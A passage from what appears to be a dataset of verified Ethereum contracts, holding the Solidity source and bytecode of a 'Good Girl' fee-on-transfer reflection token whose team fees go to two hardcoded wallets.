ffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113be57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156113f857600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000828211156114c157fe5b818303905092915050565b6000808284019050838110156114de57fe5b809150509291505056fea2646970667358221220e35118556537884e8cac6acc1b6421325c9c6ce859b23ab92b918bd17c02702164736f6c634300060c0033
{"success": true, "error": null, "results": {}}
10,467
0x5e89bc00a4cd9624a957b3162c54f73bf4a35cfe
/** *Submitted for verification at Etherscan.io on 2021-11-12 */ /** * SPDX-License-Identifier: UNLICENSED */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if(a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract GoodGirl is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000000 * 10**6 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = unicode"Good Girl"; string private constant _symbol = unicode"GG"; uint8 private constant _decimals = 9; uint256 private _taxFee = 1; uint256 private _teamFee = 8; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private w1; address payable private w2; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen = false; bool private inSwap = false; bool public limit = true; event MaxBuyAmountUpdated(uint _maxBuyAmount); event CooldownEnabledUpdated(bool _cooldown); event FeeMultiplierUpdated(uint _multiplier); event FeeRateUpdated(uint _rate); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { w1 = payable(0xE18fD80C724366c3a5c125dbD4cf35A4E5F1f736); w2 = payable(0x8559e0A859aDD7C1Bd8D33455a1648789432Ed3a); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[w1] = true; _isExcludedFromFee[w2] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function liftLimit() public onlyOwner(){ require(limit == true, 'limit is already false'); limit = false; } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(limit == true && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]){ if(to != uniswapV2Pair && from == uniswapV2Pair){ require(((balanceOf(to).add(amount)) <= 200000000000 * 10**4 * 10**9)); } require(amount <= 100000000000 * 10**4 * 10**9, 'Transfer amount must be less'); } uint256 contractTokenBalance = balanceOf(address(this)); if(!inSwap && from != uniswapV2Pair && tradingOpen) { if(contractTokenBalance > 0) { if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(5).div(100)) { contractTokenBalance = balanceOf(uniswapV2Pair).mul(5).div(100); } swapTokensForEth(contractTokenBalance); } uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { w1.transfer(amount.div(2)); w2.transfer(amount.div(2)); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); tradingOpen = true; } function setMarketingWallet(address payable _w1) external { require(_msgSender() == w1); w1 = _w1; _isExcludedFromFee[w1] = true; } function excludeFromFee(address payable ad) external { require(_msgSender() == w1); _isExcludedFromFee[ad] = true; } function includeToFee(address payable ad) external { require(_msgSender() == w1); _isExcludedFromFee[ad] = false; } function setTeamFee(uint256 team) external { require(_msgSender() == w1); require(team <= 10); _teamFee = team; } function setTaxFee(uint256 tax) external { require(_msgSender() == w1); require(tax <= 1); _taxFee = tax; } function manualswap() external { require(_msgSender() == w1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == w1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } }
0x60806040526004361061012e5760003560e01c80638da5cb5b116100ab578063c4081a4c1161006f578063c4081a4c146103c7578063c9567bf9146103f0578063cf0848f714610407578063dd62ed3e14610430578063e6ec64ec1461046d578063ec3db0f01461049657610135565b80638da5cb5b146102f257806395d89b411461031d578063a4d66daf14610348578063a9059cbb14610373578063c3c8cd80146103b057610135565b8063437823ec116100f2578063437823ec146102355780635d098b381461025e5780636fc3eaec1461028757806370a082311461029e578063715018a6146102db57610135565b806306fdde031461013a578063095ea7b31461016557806318160ddd146101a257806323b872dd146101cd578063313ce5671461020a57610135565b3661013557005b600080fd5b34801561014657600080fd5b5061014f6104ad565b60405161015c9190612c16565b60405180910390f35b34801561017157600080fd5b5061018c60048036038101906101879190612793565b6104ea565b6040516101999190612bfb565b60405180910390f35b3480156101ae57600080fd5b506101b7610508565b6040516101c49190612db8565b60405180910390f35b3480156101d957600080fd5b506101f460048036038101906101ef9190612740565b61051b565b6040516102019190612bfb565b60405180910390f35b34801561021657600080fd5b5061021f6105f4565b60405161022c9190612e2d565b60405180910390f35b34801561024157600080fd5b5061025c600480360381019061025791906126d3565b6105fd565b005b34801561026a57600080fd5b50610285600480360381019061028091906126d3565b6106b9565b005b34801561029357600080fd5b5061029c6107d8565b005b3480156102aa57600080fd5b506102c560048036038101906102c09190612679565b61084a565b6040516102d29190612db8565b60405180910390f35b3480156102e757600080fd5b506102f061089b565b005b3480156102fe57600080fd5b506103076109ee565b6040516103149190612b2d565b60405180910390f35b34801561032957600080fd5b50610332610a17565b60405161033f9190612c16565b60405180910390f35b34801561035457600080fd5b5061035d610a54565b60405161036a9190612bfb565b60405180910390f35b34801561037f57600080fd5b5061039a60048036038101906103959190612793565b610a67565b6040516103a79190612bfb565b60405180910390f35b3480156103bc57600080fd5b506103c5610a85565b005b3480156103d357600080fd5b506103ee60048036038101906103e99190612800565b610aff565b005b3480156103fc57600080fd5b50610405610b78565b005b34801561041357600080fd5b5061042e600480360381019061042991906126d3565b611091565b005b34801561043c57600080fd5b5061045760048036038101906104529190612700565b61114d565b6040516104649190612db8565b60405180910390f35b34801561047957600080fd5b50610494600480360381019061048f9190612800565b6111d4565b005b3480156104a257600080fd5b506104ab61124d565b005b60606040518060400160405280600981526020017f476f6f64204769726c0000000000000000000000000000000000000000000000815250905090565b60006104fe6104f7611355565b848461135d565b6001905092915050565b60006a52b7d2dcc80cd2e4000000905090565b6000610528848484611528565b6105e984610534611355565b6105e48560405180606001604052806028815260200161348360289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061059a611355565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a769092919063ffffffff16565b61135d565b600190509392505050565b60006009905090565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661063e611355565b73ffffffffffffffffffffffffffffffffffffffff161461065e57600080fd5b6001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166106fa611355565b73ffffffffffffffffffffffffffffffffffffffff161461071a57600080fd5b80600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160056000600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610819611355565b73ffffffffffffffffffffffffffffffffffffffff161461083957600080fd5b600047905061084781611ada565b50565b6000610894600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bd5565b9050919050565b6108a3611355565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610930576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161092790612d18565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600281526020017f4747000000000000000000000000000000000000000000000000000000000000815250905090565b600f60169054906101000a900460ff1681565b6000610a7b610a74611355565b8484611528565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ac6611355565b73ffffffffffffffffffffffffffffffffffffffff1614610ae657600080fd5b6000610af13061084a565b9050610afc81611c43565b50565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b40611355565b73ffffffffffffffffffffffffffffffffffffffff1614610b6057600080fd5b6001811115610b6e57600080fd5b8060088190555050565b610b80611355565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0490612d18565b60405180910390fd5b600f60149054906101000a900460ff1615610c5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5490612d98565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cef30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166a52b7d2dcc80cd2e400000061135d565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3557600080fd5b505afa158015610d49573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6d91906126a6565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dcf57600080fd5b505afa158015610de3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e0791906126a6565b6040518363ffffffff1660e01b8152600401610e24929190612b48565b602060405180830381600087803b158015610e3e57600080fd5b505af1158015610e52573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e7691906126a6565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610eff3061084a565b600080610f0a6109ee565b426040518863ffffffff1660e01b8152600401610f2c96959493929190612b9a565b6060604051808303818588803b158015610f4557600080fd5b505af1158015610f59573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f7e919061282d565b505050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611020929190612b71565b602060405180830381600087803b15801561103a57600080fd5b505af115801561104e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061107291906127d3565b506001600f60146101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110d2611355565b73ffffffffffffffffffffffffffffffffffffffff16146110f257600080fd5b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611215611355565b73ffffffffffffffffffffffffffffffffffffffff161461123557600080fd5b600a81111561124357600080fd5b8060098190555050565b611255611355565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d990612d18565b60405180910390fd5b60011515600f60169054906101000a900460ff16151514611338576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161132f90612c58565b60405180910390fd5b6000600f60166101000a81548160ff021916908315150217905550565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156113cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c490612d78565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561143d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143490612c98565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161151b9190612db8565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611598576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158f90612d58565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611608576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115ff90612c38565b60405180910390fd5b6000811161164b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161164290612d38565b60405180910390fd5b60011515600f60169054906101000a900460ff1615151480156116b85750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561170e5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561184457600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141580156117be5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b156117f6576a01a784379d99db420000006117ea826117dc8561084a565b611ecb90919063ffffffff16565b11156117f557600080fd5b5b69d3c21bcecceda1000000811115611843576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183a90612cd8565b60405180910390fd5b5b600061184f3061084a565b9050600f60159054906101000a900460ff161580156118bc5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156118d45750600f60149054906101000a900460ff165b156119b25760008111156119985761193360646119256005611917600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661084a565b611f2990919063ffffffff16565b611fa490919063ffffffff16565b81111561198e5761198b606461197d600561196f600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661084a565b611f2990919063ffffffff16565b611fa490919063ffffffff16565b90505b61199781611c43565b5b600047905060008111156119b0576119af47611ada565b5b505b600060019050600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611a595750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611a6357600090505b611a6f85858584611fee565b5050505050565b6000838311158290611abe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ab59190612c16565b60405180910390fd5b5060008385611acd9190612f7e565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611b2a600284611fa490919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611b55573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ba6600284611fa490919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611bd1573d6000803e3d6000fd5b5050565b6000600654821115611c1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c1390612c78565b60405180910390fd5b6000611c2661201b565b9050611c3b8184611fa490919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611c7b57611c7a6130eb565b5b604051908082528060200260200182016040528015611ca95781602001602082028036833780820191505090505b5090503081600081518110611cc157611cc06130bc565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611d6357600080fd5b505afa158015611d77573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d9b91906126a6565b81600181518110611daf57611dae6130bc565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611e1630600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461135d565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611e7a959493929190612dd3565b600060405180830381600087803b158015611e9457600080fd5b505af1158015611ea8573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b6000808284611eda9190612e9d565b905083811015611f1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f1690612cb8565b60405180910390fd5b8091505092915050565b600080831415611f3c5760009050611f9e565b60008284611f4a9190612f24565b9050828482611f599190612ef3565b14611f99576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f9090612cf8565b60405180910390fd5b809150505b92915050565b6000611fe683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612046565b905092915050565b80611ffc57611ffb6120a9565b5b6120078484846120ec565b80612015576120146122b7565b5b50505050565b60008060006120286122cb565b9150915061203f8183611fa490919063ffffffff16565b9250505090565b6000808311829061208d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120849190612c16565b60405180910390fd5b506000838561209c9190612ef3565b9050809150509392505050565b60006008541480156120bd57506000600954145b156120c7576120ea565b600854600a81905550600954600b81905550600060088190555060006009819055505b565b6000806000806000806120fe87612333565b95509550955095509550955061215c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461239b90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506121f185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ecb90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061223d816123e5565b61224784836124a2565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516122a49190612db8565b60405180910390a3505050505050505050565b600a54600881905550600b54600981905550565b6000806000600654905060006a52b7d2dcc80cd2e400000090506123056a52b7d2dcc80cd2e4000000600654611fa490919063ffffffff16565b821015612326576006546a52b7d2dcc80cd2e400000093509350505061232f565b81819350935050505b9091565b60008060008060008060008060006123508a6008546009546124dc565b925092509250600061236061201b565b905060008060006123738e878787612572565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006123dd83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611a76565b905092915050565b60006123ef61201b565b905060006124068284611f2990919063ffffffff16565b905061245a81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ecb90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6124b78260065461239b90919063ffffffff16565b6006819055506124d281600754611ecb90919063ffffffff16565b6007819055505050565b60008060008061250860646124fa888a611f2990919063ffffffff16565b611fa490919063ffffffff16565b905060006125326064612524888b611f2990919063ffffffff16565b611fa490919063ffffffff16565b9050600061255b8261254d858c61239b90919063ffffffff16565b61239b90919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061258b8589611f2990919063ffffffff16565b905060006125a28689611f2990919063ffffffff16565b905060006125b98789611f2990919063ffffffff16565b905060006125e2826125d4858761239b90919063ffffff